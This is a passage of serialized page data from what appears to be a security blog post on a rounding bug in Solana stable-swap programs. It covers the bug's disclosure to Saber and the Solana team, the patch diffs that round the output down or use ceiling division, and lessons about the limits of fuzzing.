Program\n",[2295],{"type":23,"tag":135,"props":2296,"children":2297},{"__ignoreMap":7},[2298],{"type":28,"value":2293},{"type":23,"tag":24,"props":2300,"children":2301},{},[2302],{"type":28,"value":2303},"Now it was time to contact these teams.",{"type":23,"tag":24,"props":2305,"children":2306},{},[2307],{"type":28,"value":2308},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":2310,"children":2311},{},[2312],{"type":28,"value":2313},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":128,"props":2315,"children":2317},{"code":2316,"language":947,"meta":7,"className":948,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[2318],{"type":23,"tag":135,"props":2319,"children":2320},{"__ignoreMap":7},[2321,2375,2388],{"type":23,"tag":139,"props":2322,"children":2323},{"class":141,"line":142},[2324,2329,2333,2338,2342,2347,2351,2355,2359,2363,2367,2371],{"type":23,"tag":139,"props":2325,"children":2326},{"style":982},[2327],{"type":28,"value":2328},"-",{"type":23,"tag":139,"props":2330,"children":2331},{"style":279},[2332],{"type":28,"value":1037},{"type":23,"tag":139,"props":2334,"children":2335},{"style":294},[2336],{"type":28,"value":2337}," dy",{"type":23,"tag":139,"props":2339,"children":2340},{"style":982},[2341],{"type":28,"value":985},{"type":23,"tag":139,"props":2343,"children":2344},{"style":294},[2345],{"type":28,"value":2346}," swap_destination_amount",{"type":23,"tag":139,"props":2348,"children":2349},{"style":982},[2350],{"type":28,"value":73},{"type":23,"tag":139,"props":2352,"children":2353},{"style":245},[2354],{"type":28,"value":1212},{"type":23,"tag":139,"props":2356,"children":2357},{"style":259},[2358],{"type":28,"value":262},{"type":23,"tag":139,"props":2360,"children":2361},{"style":294},[2362],{"type":28,"value":1090},{"type":23,"tag":139,"props":2364,"children":2365},{"style":259},[2366],{"type":28,"value":1104},{"type":23,"tag":139,"props":2368,"children":2369},{"style":982},[2370],{"type":28,"value":1132},{"type":23,"tag":139,"props":2372,"children":2373},{"style":259},[2374],{"type":28,"value":995},{"type":23,"tag":139,"props":2376,"children":2377},{"class":141,"line":151},[2378,2383],{"type":23,"tag":139,"props":2379,"children":2380},{"style":982},[2381],{"type":28,"value":2382},"+",{"type":23,"tag":139,"props":2384,"children":2385},{"style":958},[2386],{"type":28,"value":2387},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":139,"props":2389,"children":2390},{"class":141,"line":160},[2391,2395,2399,2403,2407,2411,2415,2419,2423,2427,2431,2435,2439,2443,2447,2451,2455],{"type":23,"tag":139,"props":2392,"children":2393},{"style":982},[2394],{"type":28,"value":2382},{"type":23,"tag":139,"props":2396,"children":2397},{"style":279},[2398],{"type":28,"value":1037},{"type":23,"tag":139,"props":2400,"children":2401},{"style":294},[2402],{"type":28,"value":2337},{"type":23,"tag":139,"props":2404,"children":2405},{"style":982},[2406],{"type":28,"value":985},{"type":23,"tag":139,"props":2408,"children":2409},{"style":294},[2410],{"type":28,"value":2346},{"type":23,"tag":139,"props":2412,"children":2413},{"style":982},[2414],{"type":28,"value":73},{"type":23,"tag":139,"props":2416,"children":2417},{"style":245},[2418],{"type":28,"value":1212},{"type":23,"tag":139,"props":2420,"children":2421},{"style":259},[2422],{"type":28,"value":262},{"type":23,"tag":139,"props":2424,"children":2425},{"style":294},[2426],{"type":28,"value":1090},{"type":23,"tag":139,"props":2428,"children":2429},{"style":259},[2430],{"type":28,"value":1104},{"type":23,"tag":139,"props":2432,"children":2433},{"style":982},[2434],{"type":28,"value":1109},{"type":23,"tag":139,"props":2436,"children":2437},{"style":245},[2438],{"type":28,"value":1212},{"type":23,"tag":139,"props":2440,"children":2441},{"style":259},[2442],{"type":28,"value":262},{"type":23,"tag":139,"props":2444,"children":2445},{"style":1016},[2446],{"type":28,"value":647},{"type":23,"tag":139,"props":2448,"children":2449},{"style":259},[2450],{"type":28,"value":1104},{"type":23,"tag":139,"props":2452,"children":2453},{"style":982},[2454],{"type":28,"value":1132},{"type":23,"tag":139,"props":2456,"children":2457},{"style":259},[2458],{"type":28,"value":995},{"type":23,"tag":24,"props":2460,"children":2461},{},[2462,2464,2471],{"type":28,"value":2463},"For reference, here is the ",{"type":23,"tag":64,"props":2465,"children":2468},{"href":2466,"rel":2467},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[68],[2469],{"type":28,"value":2470},"Curve.fi implementation",{"type":28,"value":73},{"type":23,"tag":128,"props":2473,"children":2477},{"code":2474,"language":2475,"meta":7,"className":2476,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[2478],{"type":23,"tag":135,"props":2479,"children":2480},{"__ignoreMap":7},[2481,2544],{"type":23,"tag":139,"props":2482,"children":2483},{"class":141,"line":142},[2484,2489,2494,2499,2503,2508,2512,2517,2521,2526,2531,2535,2539],{"type":23,"tag":139,"props":2485,"children":2486},{"style":259},[2487],{"type":28,"value":2488},"    dy",{"type":23,"tag":139,"props":2490,"children":2491},{"style":982},[2492],{"type":28,"value":2493},":",{"type":23,"tag":139,"props":2495,"children":2496},{"style":305},[2497],{"type":28,"value":2498}," uint256",{"type":23,"tag":139,"props":2500,"children":2501},{"style":982},[2502],{"type":28,"value":985},{"type":23,"tag":139,"props":2504,"children":2505},{"style":259},[2506],{"type":28,"value":2507}," xp[j] ",{"type":23,"tag":139,"props":2509,"children":2510},{"style":982},[2511],{"type":28,"value":2328},{"type":23,"tag":139,"props":2513,"children":2514},{"style":259},[2515],{"type":28,"value":2516}," y ",{"type":23,"tag":139,"props":2518,"children":2519},{"style":982},[2520],{"type":28,"value":2328},{"type":23,"tag":139,"props":2522,"children":2523},{"style":1016},[2524],{"type":28,"value":2525}," 1",{"type":23,"tag":139,"props":2527,"children":2528},{"style":259},[2529],{"type":28,"value":2530},"  # ",{"type":23,"tag":139,"props":2532,"children":2533},{"style":982},[2534],{"type":28,"value":2328},{"type":23,"tag":139,"props":2536,"children":2537},{"style":1016},[2538],{"type":28,"value":647},{"type":23,"tag":139,"props":2540,"children":2541},{"style":259},[2542],{"type":28,"value":2543}," just in case there were some rounding errors\n",{"type":23,"tag":139,"props":2545,"children":2546},{"class":141,"line":151},[2547,2552,2556,2560,2564,2569,2574,2579,2584],{"type":23,"tag":139,"props":2548,"children":2549},{"style":259},[2550],{"type":28,"value":2551},"    dy_fee",{"type":23,"tag":139,"props":2553,"children":2554},{"style":982},[2555],{"type":28,"value":2493},{"type":23,"tag":139,"props":2557,"children":2558},{"style":305},[2559],{"type":28,"value":2498},{"type":23,"tag":139,"props":2561,"children":2562},{"style":982},[2563],{"type":28,"value":985},{"type":23,"tag":139,"props":2565,"children":2566},{"style":259},[2567],{"type":28,"value":2568}," dy ",{"type":23,"tag":139,"props":2570,"children":2571},{"style":982},[2572],{"type":28,"value":2573},"*",{"type":23,"tag":139,"props":2575,"children":2576},{"style":259},[2577],{"type":28,"value":2578}," self.fee ",{"type":23,"tag":139,"props":2580,"children":2581},{"style":982},[2582],{"type":28,"value":2583},"/",{"type":23,"tag":139,"props":2585,"children":2586},{"style":259},[2587],{"type":28,"value":2588}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":2590,"children":2591},{},[2592,2594,2601],{"type":28,"value":2593},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":64,"props":2595,"children":2598},{"href":2596,"rel":2597},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[68],[2599],{"type":28,"value":2600},"original commit",{"type":28,"value":2602},", not as an additional security patch.",{"type":23,"tag":128,"props":2604,"children":2606},{"code":2605},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[2607],{"type":23,"tag":135,"props":2608,"children":2609},{"__ignoreMap":7},[2610],{"type":28,"value":2605},{"type":23,"tag":24,"props":2612,"children":2613},{},[2614,2616,2623],{"type":28,"value":2615},"The commit adding stable swaps to SPL was ",{"type":23,"tag":64,"props":2617,"children":2620},{"href":2618,"rel":2619},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[68],[2621],{"type":28,"value":2622},"made a few months later",{"type":28,"value":2624},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":128,"props":2626,"children":2628},{"code":2627},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[2629],{"type":23,"tag":135,"props":2630,"children":2631},{"__ignoreMap":7},[2632],{"type":28,"value":2627},{"type":23,"tag":24,"props":2634,"children":2635},{},[2636,2638,2645],{"type":28,"value":2637},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":64,"props":2639,"children":2642},{"href":2640,"rel":2641},"https://github.com/solana-labs/solana-program-library",[68],[2643],{"type":28,"value":2644},"the Solana Program Library",{"type":28,"value":73},{"type":23,"tag":24,"props":2647,"children":2648},{},[2649],{"type":28,"value":2650},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":2652,"children":2653},{},[2654,2661],{"type":23,"tag":64,"props":2655,"children":2658},{"href":2656,"rel":2657},"https://github.com/joncinque",[68],[2659],{"type":28,"value":2660},"@joncinque",{"type":28,"value":2662}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":90,"props":2664,"children":2665},{},[2666],{"type":23,"tag":24,"props":2667,"children":2668},{},[2669],{"type":28,"value":2670},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":2672,"children":2673},{},[2674,2676,2683,2685,2691],{"type":28,"value":2675},"After some thought, he helped ",{"type":23,"tag":64,"props":2677,"children":2680},{"href":2678,"rel":2679},"https://github.com/solana-labs/solana-program-library/pull/2942",[68],[2681],{"type":28,"value":2682},"introduce a PR",{"type":28,"value":2684}," which ceilings the computation in ",{"type":23,"tag":135,"props":2686,"children":2688},{"className":2687},[],[2689],{"type":28,"value":2690},"compute_new_destination_amount",{"type":28,"value":2692}," to correctly round within the stable curve math library.",{"type":23,"tag":128,"props":2694,"children":2696},{"code":2695,"language":947,"meta":7,"className":948,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[2697],{"type":23,"tag":135,"props":2698,"children":2699},{"__ignoreMap":7},[2700,2708,2738,2765,2793,2817,2893,2997,3024,3119,3222,3249,3261,3280,3303],{"type":23,"tag":139,"props":2701,"children":2702},{"class":141,"line":142},[2703],{"type":23,"tag":139,"props":2704,"children":2705},{"style":958},[2706],{"type":28,"value":2707},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":139,"props":2709,"children":2710},{"class":141,"line":151},[2711,2716,2720,2725,2729,2734],{"type":23,"tag":139,"props":2712,"children":2713},{"style":279},[2714],{"type":28,"value":2715},"     let",{"type":23,"tag":139,"props":2717,"children":2718},{"style":279},[2719],{"type":28,"value":974},{"type":23,"tag":139,"props":2721,"children":2722},{"style":294},[2723],{"type":28,"value":2724}," y_prev",{"type":23,"tag":139,"props":2726,"children":2727},{"style":982},[2728],{"type":28,"value":2493},{"type":23,"tag":139,"props":2730,"children":2731},{"style":305},[2732],{"type":28,"value":2733}," U256",{"type":23,"tag":139,"props":2735,"children":2736},{"style":259},[2737],{"type":28,"value":995},{"type":23,"tag":139,"props":2739,"children":2740},{"class":141,"line":160},[2741,2745,2749,2753,2757,2761],{"type":23,"tag":139,"props":2742,"children":2743},{"style":279},[2744],{"type":28,"value":2715},{"type":23,"tag":139,"props":2746,"children":2747},{"style":279},[2748],{"type":28,"value":974},{"type":23,"tag":139,"props":2750,"children":2751},{"style":294},[2752],{"type":28,"value":979},{"type":23,"tag":139,"props":2754,"children":2755},{"style":982},[2756],{"type":28,"value":985},{"type":23,"tag":139,"props":2758,"children":2759},{"style":294},[2760],{"type":28,"value":990},{"type":23,"tag":139,"props":2762,"children":2763},{"style":259},[2764],{"type":28,"value":995},{"type":23,"tag":139,"props":2766,"children":2767},{"class":141,"line":169},[2768,2773,2777,2781,2785,2789],{"type":23,"tag":139,"props":2769,"children":2770},{"style":319},[2771],{"type":28,"value":2772},"     for",{"type":23,"tag":139,"props":2774,"children":2775},{"style":294},[2776],{"type":28,"value":1008},{"type":23,"tag":139,"props":2778,"children":2779},{"style":279},[2780],{"type":28,"value":1013},{"type":23,"tag":139,"props":2782,"children":2783},{"style":1016},[2784],{"type":28,"value":1019},{"type":23,"tag":139,"props":2786,"children":2787},{"style":982},[2788],{"type":28,"value":1024},{"type":23,"tag":139,"props":2790,"children":2791},{"style":259},[2792],{"type":28,"value":1029},{"type":23,"tag":139,"props":2794,"children":2795},{"class":141,"line":178},[2796,2800,2805,2809,2813],{"type":23,"tag":139,"props":2797,"children":2798},{"style":982},[2799],{"type":28,"value":2328},{"type":23,"tag":139,"props":2801,"children":2802},{"style":294},[2803],{"type":28,"value":2804},"        y_prev",{"type":23,"tag":139,"props":2806,"children":2807},{"style":982},[2808],{"type":28,"value":985},{"type":23,"tag":139,"props":2810,"children":2811},{"style":294},[2812],{"type":28,"value":979},{"type":23,"tag":139,"props":2814,"children":2815},{"style":259},[2816],{"type":28,"value":995},{"type":23,"tag":139,"props":2818,"children":2819},{"class":141,"line":187},[2820,2824,2829,2833,2837,2841,2845,2849,2853,2857,2861,2865,2869,2873,2877,2881,2885,2889],{"type":23,"tag":139,"props":2821,"children":2822},{"style":982},[2823],{"type":28,"value":2328},{"type":23,"tag":139,"props":2825,"children":2826},{"style":294},[2827],{"type":28,"value":2828},"        y",{"type":23,"tag":139,"props":2830,"children":2831},{"style":982},[2832],{"type":28,"value":985},{"type":23,"tag":139,"props":2834,"children":2835},{"style":259},[2836],{"type":28,"value":1042},{"type":23,"tag":139,"props":2838,"children":2839},{"style":245},[2840],{"type":28,"value":1076},{"type":23,"tag":139,"props":2842,"children":2843},{"style":259},[2844],{"type":28,"value":262},{"type":23,"tag":139,"props":2846,"children":2847},{"style":982},[2848],{"type":28,"value":1085},{"type":23,"tag":139,"props":2850,"children":2851},{"style":294},[2852],{"type":28,"value":1090},{"type":23,"tag":139,"props":2854,"children":2855},{"style":259},[2856],{"type":28,"value":1052},{"type":23,"tag":139,"props":2858,"children":2859},{"style":1016},[2860],{"type":28,"value":1099},{"type":23,"tag":139,"props":2862,"children":2863},{"style":259},[2864],{"type":28,"value":1104},{"type":23,"tag":139,"props":2866,"children":2867},{"style":982},[2868],{"type":28,"value":1109},{"type":23,"tag":139,"props":2870,"children":2871},{"style":245},[2872],{"type":28,"value":1114},{"type":23,"tag":139,"props":2874,"children":2875},{"style":259},[2876],{"type":28,"value":262},{"type":23,"tag":139,"props":2878,"children":2879},{"style":294},[2880],{"type":28,"value":1123},{"type":23,"tag":139,"props":2882,"children":2883},{"style":259},[2884],{"type":28,"value":1104},{"type":23,"tag":139,"props":2886,"children":2887},{"style":982},[2888],{"type":28,"value":1132},{"type":23,"tag":139,"props":2890,"children":2891},{"style":259},[2892],{"type":28,"value":273},{"type":23,"tag":139,"props":2894,"children":2895},{"class":141,"line":196},[2896,2900,2904,2909,2913,2917,2921,2925,2929,2933,2937,2941,2945,2949,2953,2957,2961,2965,2969,2973,2977,2981,2985,2989,2993],{"type":23,"tag":139,"props":2897,"children":2898},{"style":982},[2899],{"type":28,"value":2328},{"type":23,"tag":139,"props":2901,"children":2902},{"style":982},[2903],{"type":28,"value":1144},{"type":23,"tag":139,"props":2905,"children":2906},{"style":245},[2907],{"type":28,"value":2908},"checked_div",{"type":23,"tag":139,"props":2910,"children":2911},{"style":259},[2912],{"type":28,"value":262},{"type":23,"tag":139,"props":2914,"children":2915},{"style":245},[2916],{"type":28,"value":1158},{"type":23,"tag":139,"props":2918,"children":2919},{"style":259},[2920],{"type":28,"value":262},{"type":23,"tag":139,"props":2922,"children":2923},{"style":982},[2924],{"type":28,"value":1085},{"type":23,"tag":139,"props":2926,"children":2927},{"style":294},[2928],{"type":28,"value":1090},{"type":23,"tag":139,"props":2930,"children":2931},{"style":259},[2932],{"type":28,"value":1052},{"type":23,"tag":139,"props":2934,"children":2935},{"style":1016},[2936],{"type":28,"value":1099},{"type":23,"tag":139,"props":2938,"children":2939},{"style":259},[2940],{"type":28,"value":1104},{"type":23,"tag":139,"props":2942,"children":2943},{"style":982},[2944],{"type":28,"value":1109},{"type":23,"tag":139,"props":2946,"children":2947},{"style":245},[2948],{"type":28,"value":1114},{"type":23,"tag":139,"props":2950,"children":2951},{"style":259},[2952],{"type":28,"value":262},{"type":23,"tag":139,"props":2954,"children":2955},{"style":294},[2956],{"type":28,"value":1199},{"type":23,"tag":139,"props":2958,"children":2959},{"style":259},[2960],{"type":28,"value":1104},{"type":23,"tag":139,"props":2962,"children":2963},{"style":982},[2964],{"type":28,"value":1109},{"type":23,"tag":139,"props":2966,"children":2967},{"style":245},[2968],{"type":28,"value":1212},{"type":23,"tag":139,"props":2970,"children":2971},{"style":259},[2972],{"type":28,"value":262},{"type":23,"tag":139,"props":2974,"children":2975},{"style":294},[2976],{"type":28,"value":1221},{"type":23,"tag":139,"props":2978,"children":2979},{"style":259},[2980],{"type":28,"value":1104},{"type":23,"tag":139,"props":2982,"children":2983},{"style":982},[2984],{"type":28,"value":1132},{"type":23,"tag":139,"props":2986,"children":2987},{"style":259},[2988],{"type":28,"value":1104},{"type":23,"tag":139,"props":2990,"children":2991},{"style":982},[2992],{"type":28,"value":1132},{"type":23,"tag":139,"props":2994,"children":2995},{"style":259},[2996],{"type":28,"value":995},{"type":23,"tag":139,"props":2998,"children":2999},{"class":141,"line":205},[3000,3004,3008,3012,3016,3020],{"type":23,"tag":139,"props":3001,"children":3002},{"style":982},[3003],{"type":28,"value":2328},{"type":23,"tag":139,"props":3005,"children":3006},{"style":319},[3007],{"type":28,"value":1249},{"type":23,"tag":139,"props":3009,"children":3010},{"style":294},[3011],{"type":28,"value":979},{"type":23,"tag":139,"props":3013,"children":3014},{"style":982},[3015],{"type":28,"value":1259},{"type":23,"tag":139,"props":3017,"children":3018},{"style":294},[3019],{"type":28,"value":2724},{"type":23,"tag":139,"props":3021,"children":3022},{"style":259},[3023],{"type":28,"value":1268},{"type":23,"tag":139,"props":3025,"children":3026},{"class":141,"line":214},[3027,3031,3035,3039,3043,3047,3051,3055,3059,3063,3067,3071,3075,3079,3083,3087,3091,3095,3099,3103,3107,3111,3115],{"type":23,"tag":139,"props":3028,"children":3029},{"style":982},[3030],{"type":28,"value":2382},{"type":23,"tag":139,"props":3032,"children":3033},{"style":279},[3034],{"type":28,"value":1037},{"type":23,"tag":139,"props":3036,"children":3037},{"style":259},[3038],{"type":28,"value":1042},{"type":23,"tag":139,"props":3040,"children":3041},{"style":294},[3042],{"type":28,"value":1047},{"type":23,"tag":139,"props":3044,"children":3045},{"style":259},[3046],{"type":28,"value":1052},{"type":23,"tag":139,"props":3048,"children":3049},{"style":294},[3050],{"type":28,"value":1057},{"type":23,"tag":139,"props":3052,"children":3053},{"style":259},[3054],{"type":28,"value":1062},{"type":23,"tag":139,"props":3056,"children":3057},{"style":982},[3058],{"type":28,"value":1067},{"type":23,"tag":139,"props":3060,"children":3061},{"style":259},[3062],{"type":28,"value":1042},{"type":23,"tag":139,"props":3064,"children":3065},{"style":245},[3066],{"type":28,"value":1076},{"type":23,"tag":139,"props":3068,"children":3069},{"style":259},[3070],{"type":28,"value":262},{"type":23,"tag":139,"props":3072,"children":3073},{"style":982},[3074],{"type":28,"value":1085},{"type":23,"tag":139,"props":3076,"children":3077},{"style":294},[3078],{"type":28,"value":1090},{"type":23,"tag":139,"props":3080,"children":3081},{"style":259},[3082],{"type":28,"value":1052},{"type":23,"tag":139,"props":3084,"children":3085},{"style":1016},[3086],{"type":28,"value":1099},{"type":23,"tag":139,"props":3088,"children":3089},{"style":259},[3090],{"type":28,"value":1104},{"type":23,"tag":139,"props":3092,"children":3093},{"style":982},[3094],{"type":28,"value":1109},{"type":23,"tag":139,"props":3096,"children":3097},{"style":245},[3098],{"type":28,"value":1114},{"type":23,"tag":139,"props":3100,"children":3101},{"style":259},[3102],{"type":28,"value":262},{"type":23,"tag":139,"props":3104,"children":3105},{"style":294},[3106],{"type":28,"value":1123},{"type":23,"tag":139,"props":3108,"children":3109},{"style":259},[3110],{"type":28,"value":1104},{"type":23,"tag":139,"props":3112,"children":3113},{"style":982},[3114],{"type":28,"value":1132},{"type":23,"tag":139,"props":3116,"children":3117},{"style":259},[3118],{"type":28,"value":273},{"type":23,"tag":139,"props":3120,"children":3121},{"class":141,"line":1320},[3122,3126,3130,3134,3138,3142,3146,3150,3154,3158,3162,3166,3170,3174,3178,3182,3186,3190,3194,3198,3202,3206,3210,3214,3218],{"type":23,"tag":139,"props":3123,"children":3124},{"style":982},[3125],{"type":28,"value":2382},{"type":23,"tag":139,"props":3127,"children":3128},{"style":982},[3129],{"type":28,"value":1144},{"type":23,"tag":139,"props":3131,"children":3132},{"style":245},[3133],{"type":28,"value":1149},{"type":23,"tag":139,"props":3135,"children":3136},{"style":259},[3137],{"type":28,"value":262},{"type":23,"tag":139,"props":3139,"children":3140},{"style":245},[3141],{"type":28,"value":1158},{"type":23,"tag":139,"props":3143,"children":3144},{"style":259},[3145],{"type":28,"value":262},{"type":23,"tag":139,"props":3147,"children":3148},{"style":982},[3149],{"type":28,"value":1085},{"type":23,"tag":139,"props":3151,"children":3152},{"style":294},[3153],{"type":28,"value":1090},{"type":23,"tag":139,"props":3155,"children":3156},{"style":259},[3157],{"type":28,"value":1052},{"type":23,"tag":139,"props":3159,"children":3160},{"style":1016},[3161],{"type":28,"value":1099},{"type":23,"tag":139,"props":3163,"children":3164},{"style":259},[3165],{"type":28,"value":1104},{"type":23,"tag":139,"props":3167,"children":3168},{"style":982},[3169],{"type":28,"value":1109},{"type":23,"tag":139,"props":3171,"children":3172},{"style":245},[3173],{"type":28,"value":1114},{"type":23,"tag":139,"props":3175,"children":3176},{"style":259},[3177],{"type":28,"value":262},{"type":23,"tag":139,"props":3179,"children":3180},{"style":294},[3181],{"type":28,"value":1199},{"type":23,"tag":139,"props":3183,"children":3184},{"style":259},[3185],{"type":28,"value":1104},{"type":23,"tag":139,"props":3187,"children":3188},{"style":982},[3189],{"type":28,"value":1109},{"type":23,"tag":139,"props":3191,"children":3192},{"style":245},[3193],{"type":28,"value":1212},{"type":23,"tag":139,"props":3195,"children":3196},{"style":259},[3197],{"type":28,"value":262},{"type":23,"tag":139,"props":3199,"children":3200},{"style":294},[3201],{"type":28,"value":1221},{"type":23,"tag":139,"props":3203,"children":3204},{"style":259},[3205],{"type":28,"value":1104},{"type":23,"tag":139,"props":3207,"children":3208},{"style":982},[3209],{"type":28,"value":1132},{"type":23,"tag":139,"props":3211,"children":3212},{"style":259},[3213],{"type":28,"value":1104},{"type":23,"tag":139,"props":3215,"children":3216},{"style":982},[3217],{"type":28,"value":1132},{"type":23,"tag":139,"props":3219,"children":3220},{"style":259},[3221],{"type":28,"value":995},{"type":23,"tag":139,"props":3223,"children":3224},{"class":141,"line":1329},[3225,3229,3233,3237,3241,3245],{"type":23,"tag":139,"props":3226,"children":3227},{"style":982},[3228],{"type":28,"value":2382},{"type":23,"tag":139,"props":3230,"children":3231},{"style":319},[3232],{"type":28,"value":1249},{"type":23,"tag":139,"props":3234,"children":3235},{"style":294},[3236],{"type":28,"value":1254},{"type":23,"tag":139,"props":3238,"children":3239},{"style":982},[3240],{"type":28,"value":1259},{"type":23,"tag":139,"props":3242,"children":3243},{"style":294},[3244],{"type":28,"value":979},{"type":23,"tag":139,"props":3246,"children":3247},{"style":259},[3248],{"type":28,"value":1268},{"type":23,"tag":139,"props":3250,"children":3251},{"class":141,"line":1580},[3252,3257],{"type":23,"tag":139,"props":3253,"children":3254},{"style":319},[3255],{"type":28,"value":3256},"             break",{"type":23,"tag":139,"props":3258,"children":3259},{"style":259},[3260],{"type":28,"value":995},{"type":23,"tag":139,"props":3262,"children":3263},{"class":141,"line":1597},[3264,3268,3272,3276],{"type":23,"tag":139,"props":3265,"children":3266},{"style":982},[3267],{"type":28,"value":2382},{"type":23,"tag":139,"props":3269,"children":3270},{"style":259},[3271],{"type":28,"value":1288},{"type":23,"tag":139,"props":3273,"children":3274},{"style":319},[3275],{"type":28,"value":1293},{"type":23,"tag":139,"props":3277,"children":3278},{"style":259},[3279],{"type":28,"value":1268},{"type":23,"tag":139,"props":3281,"children":3282},{"class":141,"line":1614},[3283,3287,3291,3295,3299],{"type":23,"tag":139,"props":3284,"children":3285},{"style":982},[3286],{"type":28,"value":2382},{"type":23,"tag":139,"props":3288,"children":3289},{"style":294},[3290],{"type":28,"value":1305},{"type":23,"tag":139,"props":3292,"children":3293},{"style":982},[3294],{"type":28,"value":985},{"type":23,"tag":139,"props":3296,"children":3297},{"style":294},[3298],{"type":28,"value":1254},{"type":23,"tag":139,"props":3300,"children":3301},{"style":259},[3302],{"type":28,"value":995},{"type":23,"tag":139,"props":3304,"children":3305},{"class":141,"line":1627},[3306],{"type":23,"tag":139,"props":3307,"children":3308},{"style":259},[3309],{"type":28,"value":3310},"         }\n",{"type":23,"tag":41,"props":3312,"children":3314},{"id":3313},"closing-thoughts",[3315],{"type":28,"value":3316},"Closing Thoughts",{"type":23,"tag":24,"props":3318,"children":3319},{},[3320],{"type":28,"value":3321},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":3323,"children":3324},{},[3325,3327,3332],{"type":28,"value":3326},"Another interesting takeaway is that ",{"type":23,"tag":56,"props":3328,"children":3329},{},[3330],{"type":28,"value":3331},"fuzzing can give a false sense of security",{"type":28,"value":3333},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":3335,"children":3336},{},[3337,3339,3346],{"type":28,"value":3338},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":64,"props":3340,"children":3343},{"href":3341,"rel":3342},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[68],[3344],{"type":28,"value":3345},"port-mortem of the NSS overflow",{"type":28,"value":73},{"type":23,"tag":24,"props":3348,"children":3349},{},[3350],{"type":23,"tag":429,"props":3351,"children":3353},{"alt":7,"src":3352},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":3355,"children":3356},{},[3357],{"type":28,"value":3358},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":3360,"children":3361},{},[3362],{"type":28,"value":3363},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":3365,"children":3366},{},[3367],{"type":28,"value":3368},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":817,"props":3370,"children":3371},{},[3372],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":3374},[3375,3376,3377,3378],{"id":886,"depth":151,"text":889},{"id":1920,"depth":151,"text":1923},{"id":2226,"depth":151,"text":2229},{"id":3313,"depth":151,"text":3316},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":3383,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3384,"description":3385,"image":3386,"date":3390,"isFeatured":15,"onBlogPage":15,"tags":3391,"body":3392,"_type":831,"_id":3715,"_source":833,"_file":3716,"_stem":3717,"_extension":836},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana 